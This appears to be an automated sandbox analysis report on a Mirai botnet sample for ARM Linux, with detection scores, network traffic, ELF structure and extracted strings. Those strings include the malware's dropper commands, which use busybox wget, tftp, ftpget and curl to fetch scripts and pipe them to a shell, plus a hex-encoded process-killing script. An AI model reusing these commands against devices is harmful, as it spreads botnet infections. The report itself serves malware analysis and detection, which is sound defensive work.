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Linux Analysis Report
arm6.elf

Overview

General Information

Sample name:arm6.elf
Analysis ID:1579255
MD5:c89b99acb732e785390abecf7a9626b3
SHA1:1dfdaa067023027d9aa9548f231d9c84850e4f81
SHA256:4f56140cfeb747ae97fbe7ef9badc642707ce813eac6286f975591b04e3ecff3
Tags:elfuser-abuse_ch
Infos:

Detection

Mirai
Score:56
Range:0 - 100
Whitelisted:false

Signatures

Multi AV Scanner detection for submitted file
Yara detected Mirai
Found strings indicative of a multi-platform dropper
Sample contains strings indicative of BusyBox which embeds multiple Unix commands in a single executable
Sample has stripped symbol table
Tries to connect to HTTP servers, but all servers are down (expired dropper behavior)
Uses the "uname" system call to query kernel version information (possible evasion)

Classification

Joe Sandbox version:41.0.0 Charoite
Analysis ID:1579255
Start date and time:2024-12-21 09:26:05 +01:00
Joe Sandbox product:CloudBasic
Overall analysis duration:0h 4m 25s
Hypervisor based Inspection enabled:false
Report type:full
Cookbook file name:defaultlinuxfilecookbook.jbs
Analysis system description:Ubuntu Linux 20.04 x64 (Kernel 5.4.0-72, Firefox 91.0, Evince Document Viewer 3.36.10, LibreOffice 6.4.7.2, OpenJDK 11.0.11)
Analysis Mode:default
Sample name:arm6.elf
Detection:MAL
Classification:mal56.troj.linELF@0/0@0/0
Command:/tmp/arm6.elf
PID:6219
Exit Code:139
Exit Code Info:SIGSEGV (11) Segmentation fault invalid memory reference
Killed:False
Standard Output:

Standard Error:qemu: uncaught target signal 11 (Segmentation fault) - core dumped
  • system is lnxubuntu20
  • arm6.elf (PID: 6219, Parent: 6138, MD5: 5ebfcae4fe2471fcc5695c2394773ff1) Arguments: /tmp/arm6.elf
  • cleanup
NameDescriptionAttributionBlogpost URLsLink
MiraiMirai is one of the first significant botnets targeting exposed networking devices running Linux. Found in August 2016 by MalwareMustDie, its name means "future" in Japanese. Nowadays it targets a wide range of networked embedded devices such as IP cameras, home routers (many vendors involved), and other IoT devices. Since the source code was published on "Hack Forums" many variants of the Mirai family appeared, infecting mostly home networks all around the world.No Attributionhttps://malpedia.caad.fkie.fraunhofer.de/details/elf.mirai
SourceRuleDescriptionAuthorStrings
arm6.elfJoeSecurity_Mirai_8Yara detected MiraiJoe Security
    SourceRuleDescriptionAuthorStrings
    6219.1.00007f6ca8017000.00007f6ca802d000.r-x.sdmpJoeSecurity_Mirai_8Yara detected MiraiJoe Security
      No Suricata rule has matched

      Click to jump to signature section

      Show All Signature Results

      AV Detection

      barindex
      Source: arm6.elfVirustotal: Detection: 31%Perma Link
      Source: arm6.elfReversingLabs: Detection: 42%
      Source: arm6.elfString: incorrectinvalidbadwrongfaildeniederrorretryenableshellshlinuxshellping ;shusage: busybox/bin/busybox hostname Kamru/bin/busybox echo > .b && sh .b && cd /bin/busybox echo -ne >> .ksh .k/bin/busybox wget http:///wget.sh -O- | sh;/bin/busybox tftp -g -r tftp.sh -l- | sh;/bin/busybox ftpget ftpget.sh ftpget.sh && sh ftpget.sh;curl http:///curl.sh -o- | shGET /dlr. HTTP/1.0
      Source: global trafficTCP traffic: 192.168.2.23:43928 -> 91.189.91.42:443
      Source: global trafficTCP traffic: 192.168.2.23:42836 -> 91.189.91.43:443
      Source: global trafficTCP traffic: 192.168.2.23:42516 -> 109.202.202.202:80
      Source: unknownTCP traffic detected without corresponding DNS query: 91.189.91.42
      Source: unknownTCP traffic detected without corresponding DNS query: 91.189.91.43
      Source: unknownTCP traffic detected without corresponding DNS query: 109.202.202.202
      Source: unknownTCP traffic detected without corresponding DNS query: 91.189.91.42
      Source: unknownTCP traffic detected without corresponding DNS query: 91.189.91.43
      Source: unknownTCP traffic detected without corresponding DNS query: 109.202.202.202
      Source: unknownTCP traffic detected without corresponding DNS query: 91.189.91.42
      Source: unknownTCP traffic detected without corresponding DNS query: 91.189.91.43
      Source: arm6.elfString found in binary or memory: http:///curl.sh
      Source: arm6.elfString found in binary or memory: http:///wget.sh
      Source: unknownNetwork traffic detected: HTTP traffic on port 43928 -> 443
      Source: unknownNetwork traffic detected: HTTP traffic on port 42836 -> 443
      Source: Initial sampleString containing 'busybox' found: /bin/busybox
      Source: Initial sampleString containing 'busybox' found: usage: busybox
      Source: Initial sampleString containing 'busybox' found: /bin/busybox hostname Kamru
      Source: Initial sampleString containing 'busybox' found: /bin/busybox echo >
      Source: Initial sampleString containing 'busybox' found: /bin/busybox echo -ne
      Source: Initial sampleString containing 'busybox' found: /bin/busybox wget http://
      Source: Initial sampleString containing 'busybox' found: /wget.sh -O- | sh;/bin/busybox tftp -g
      Source: Initial sampleString containing 'busybox' found: -r tftp.sh -l- | sh;/bin/busybox ftpget
      Source: Initial sampleString containing 'busybox' found: /bin/busybox chmod +x .d; ./.d; ./Galaxy selfrep
      Source: Initial sampleString containing 'busybox' found: incorrectinvalidbadwrongfaildeniederrorretryenableshellshlinuxshellping ;shusage: busybox/bin/busybox hostname Kamru/bin/busybox echo > .b && sh .b && cd /bin/busybox echo -ne >> .ksh .k/bin/busybox wget http:///wget.sh -O- | sh;/bin/busybox tftp -g -r tftp.sh -l- | sh;/bin/busybox ftpget ftpget.sh ftpget.sh && sh ftpget.sh;curl http:///curl.sh -o- | shGET /dlr. HTTP/1.0
      Source: Initial sampleString containing 'busybox' found: > .d/bin/busybox chmod +x .d; ./.d; ./Galaxy selfrepI just wanna look/var//var/run//var/tmp//dev//dev/shm//etc//mnt//usr//boot//home/"\x23\x21\x2F\x62\x69\x6E\x2F\x73\x68\x0A\x0A\x66\x6F\x72\x20\x70\x72\x6F\x63\x5F\x64\x69\x72\x20\x69\x6E\x20\x2F\x70\x72\x6F\x63""\x2F\x2A\x3B\x20\x64\x6F\x0A\x20\x20\x20\x20\x70\x69\x64\x3D\x24\x7B\x70\x72\x6F\x63\x5F\x64\x69\x72\x23\x23\x2A\x2F\x7D\x0A\x0A""\x20\x20\x20\x20\x72\x65\x73\x75\x6C\x74\x3D\x24\x28\x6C\x73\x20\x2D\x6C\x20\x22\x2F\x70\x72\x6F\x63\x2F\x24\x70\x69\x64\x2F\x65""\x78\x65\x22\x20\x32\x3E\x20\x2F\x64\x65\x76\x2F\x6E\x75\x6C\x6C\x29\x0A\x0A\x20\x20\x20\x20\x69\x66\x20\x5B\x20\x22\x24\x72\x65""\x73\x75\x6C\x74\x22\x20\x21\x3D\x20\x22\x24\x7B\x72\x65\x73\x75\x6C\x74\x25\x28\x64\x65\x6C\x65\x74\x65\x64\x29\x7D\x22\x20\x5D""\x3B\x20\x74\x68\x65\x6E\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x6B\x69\x6C\x6C\x20\x2D\x39\x20\x22\x24\x70\x69\x64\x22\x0A\x20\x20""\x20\x20\x66\x69\x0A\x64\x6F\x6E\x65\x0A"arm5arm6arm7mipsmpslppcspcsh4
      Source: ELF static info symbol of initial sample.symtab present: no
      Source: classification engineClassification label: mal56.troj.linELF@0/0@0/0
      Source: /tmp/arm6.elf (PID: 6219)Queries kernel information via 'uname': Jump to behavior
      Source: arm6.elf, 6219.1.000056041cf70000.000056041d09e000.rw-.sdmpBinary or memory string: /etc/qemu-binfmt/arm
      Source: arm6.elf, 6219.1.000056041cf70000.000056041d09e000.rw-.sdmpBinary or memory string: V!/etc/qemu-binfmt/arm
      Source: arm6.elf, 6219.1.00007fff4544b000.00007fff4546c000.rw-.sdmpBinary or memory string: /usr/bin/qemu-arm
      Source: arm6.elf, 6219.1.00007fff4544b000.00007fff4546c000.rw-.sdmpBinary or memory string: x86_64/usr/bin/qemu-arm/tmp/arm6.elfSUDO_USER=saturninoPATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/binDISPLAY=:1.0XAUTHORITY=/run/user/1000/gdm/XauthoritySUDO_UID=1000TERM=xterm-256colorCOLORTERM=truecolorLOGNAME=rootUSER=rootLANG=en_US.UTF-8SUDO_COMMAND=/bin/bashHOME=/rootMAIL=/var/mail/rootSUDO_GID=1000SHELL=/bin/bash/tmp/arm6.elf
      Source: arm6.elf, 6219.1.00007fff4544b000.00007fff4546c000.rw-.sdmpBinary or memory string: qemu: uncaught target signal 11 (Segmentation fault) - core dumped

      Stealing of Sensitive Information

      barindex
      Source: Yara matchFile source: arm6.elf, type: SAMPLE
      Source: Yara matchFile source: 6219.1.00007f6ca8017000.00007f6ca802d000.r-x.sdmp, type: MEMORY

      Remote Access Functionality

      barindex
      Source: Yara matchFile source: arm6.elf, type: SAMPLE
      Source: Yara matchFile source: 6219.1.00007f6ca8017000.00007f6ca802d000.r-x.sdmp, type: MEMORY
      ReconnaissanceResource DevelopmentInitial AccessExecutionPersistencePrivilege EscalationDefense EvasionCredential AccessDiscoveryLateral MovementCollectionCommand and ControlExfiltrationImpact
      Gather Victim Identity Information1
      Scripting
      Valid AccountsWindows Management Instrumentation1
      Scripting
      Path InterceptionDirect Volume AccessOS Credential Dumping11
      Security Software Discovery
      Remote ServicesData from Local System1
      Encrypted Channel
      Exfiltration Over Other Network MediumAbuse Accessibility Features
      CredentialsDomainsDefault AccountsScheduled Task/JobBoot or Logon Initialization ScriptsBoot or Logon Initialization ScriptsRootkitLSASS MemoryApplication Window DiscoveryRemote Desktop ProtocolData from Removable Media1
      Application Layer Protocol
      Exfiltration Over BluetoothNetwork Denial of Service
      No configs have been found
      Hide Legend

      Legend:

      • Process
      • Signature
      • Created File
      • DNS/IP Info
      • Is Dropped
      • Number of created Files
      • Is malicious
      • Internet
      SourceDetectionScannerLabelLink
      arm6.elf32%VirustotalBrowse
      arm6.elf42%ReversingLabsLinux.Backdoor.Mirai
      No Antivirus matches
      No Antivirus matches
      No Antivirus matches
      No contacted domains info
      NameSourceMaliciousAntivirus DetectionReputation
      http:///wget.sharm6.elffalse
        high
        http:///curl.sharm6.elffalse
          high
          • No. of IPs < 25%
          • 25% < No. of IPs < 50%
          • 50% < No. of IPs < 75%
          • 75% < No. of IPs
          IPDomainCountryFlagASNASN NameMalicious
          109.202.202.202
          unknownSwitzerland
          13030INIT7CHfalse
          91.189.91.43
          unknownUnited Kingdom
          41231CANONICAL-ASGBfalse
          91.189.91.42
          unknownUnited Kingdom
          41231CANONICAL-ASGBfalse
          MatchAssociated Sample Name / URLSHA 256DetectionThreat NameLinkContext
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                                                  No context
                                                  No context
                                                  No created / dropped files found
                                                  File type:ELF 32-bit LSB executable, ARM, EABI4 version 1 (SYSV), statically linked, stripped
                                                  Entropy (8bit):6.170906386711937
                                                  TrID:
                                                  • ELF Executable and Linkable format (generic) (4004/1) 100.00%
                                                  File name:arm6.elf
                                                  File size:88'800 bytes
                                                  MD5:c89b99acb732e785390abecf7a9626b3
                                                  SHA1:1dfdaa067023027d9aa9548f231d9c84850e4f81
                                                  SHA256:4f56140cfeb747ae97fbe7ef9badc642707ce813eac6286f975591b04e3ecff3
                                                  SHA512:018fce9327cf38d820f97e0eac17cf721163c737a4be295ef6f0bb5f296a07dcff5157ae25ca3705480ec096053fb615df30c12f3a0e16d82f05db0c6b2ac4e2
                                                  SSDEEP:1536:zWnjpZpdSHCsbfF5lg9LQJGgfe/aStLPQyMfQiVEB9RK37UY5xYTni8VRJ:OZOCAfFfsLQJTfe/aSCEB9RK3QYDYniA
                                                  TLSH:2193185AF9818B15D5C551BEFE1E52CD331317BCE2DE33129E10AB247B8A86B0E3B905
                                                  File Content Preview:.ELF..............(.....T...4....Y......4. ...(......................U...U...............U...U...U......h...........Q.td..................................-...L..................@-.,@...0....S..... 0....S.........../..0...0...@..../..X.......U....-.@0....S

                                                  ELF header

                                                  Class:ELF32
                                                  Data:2's complement, little endian
                                                  Version:1 (current)
                                                  Machine:ARM
                                                  Version Number:0x1
                                                  Type:EXEC (Executable file)
                                                  OS/ABI:UNIX - System V
                                                  ABI Version:0
                                                  Entry Point Address:0x8154
                                                  Flags:0x4000002
                                                  ELF Header Size:52
                                                  Program Header Offset:52
                                                  Program Header Size:32
                                                  Number of Program Headers:3
                                                  Section Header Offset:88320
                                                  Section Header Size:40
                                                  Number of Section Headers:12
                                                  Header String Table Index:11
                                                  NameTypeAddressOffsetSizeEntSizeFlagsFlags DescriptionLinkInfoAlign
                                                  NULL0x00x00x00x00x0000
                                                  .initPROGBITS0x80940x940x100x00x6AX004
                                                  .textPROGBITS0x80b00xb00x1372c0x00x6AX0016
                                                  .finiPROGBITS0x1b7dc0x137dc0x100x00x6AX004
                                                  .rodataPROGBITS0x1b7f00x137f00x1d940x00x2A008
                                                  .init_arrayINIT_ARRAY0x255880x1558c0x40x00x3WA004
                                                  .fini_arrayFINI_ARRAY0x2558c0x155900x40x00x3WA004
                                                  .gotPROGBITS0x255940x155980x740x40x3WA004
                                                  .dataPROGBITS0x256080x1560c0x2840x00x3WA004
                                                  .bssNOBITS0x2588c0x158900x54640x00x3WA004
                                                  .ARM.attributesARM_ATTRIBUTES0x00x158900x100x00x0001
                                                  .shstrtabSTRTAB0x00x158a00x5d0x00x0001
                                                  TypeOffsetVirtual AddressPhysical AddressFile SizeMemory SizeEntropyFlagsFlags DescriptionAlignProg InterpreterSection Mappings
                                                  LOAD0x00x80000x80000x155840x155846.18910x5R E0x8000.init .text .fini .rodata
                                                  LOAD0x155880x255880x255840x3080xd7683.88150x6RW 0x8000.init_array .fini_array .got .data .bss
                                                  GNU_STACK0x00x00x00x00x00.00000x7RWE0x4
                                                  TimestampSource PortDest PortSource IPDest IP
                                                  Dec 21, 2024 09:26:45.605526924 CET43928443192.168.2.2391.189.91.42
                                                  Dec 21, 2024 09:26:51.236743927 CET42836443192.168.2.2391.189.91.43
                                                  Dec 21, 2024 09:26:52.260503054 CET4251680192.168.2.23109.202.202.202
                                                  Dec 21, 2024 09:27:06.850514889 CET43928443192.168.2.2391.189.91.42
                                                  Dec 21, 2024 09:27:17.089245081 CET42836443192.168.2.2391.189.91.43
                                                  Dec 21, 2024 09:27:23.232297897 CET4251680192.168.2.23109.202.202.202
                                                  Dec 21, 2024 09:27:47.804920912 CET43928443192.168.2.2391.189.91.42
                                                  Dec 21, 2024 09:28:08.282181025 CET42836443192.168.2.2391.189.91.43

                                                  System Behavior

                                                  Start time (UTC):08:26:45
                                                  Start date (UTC):21/12/2024
                                                  Path:/tmp/arm6.elf
                                                  Arguments:/tmp/arm6.elf
                                                  File size:4956856 bytes
                                                  MD5 hash:5ebfcae4fe2471fcc5695c2394773ff1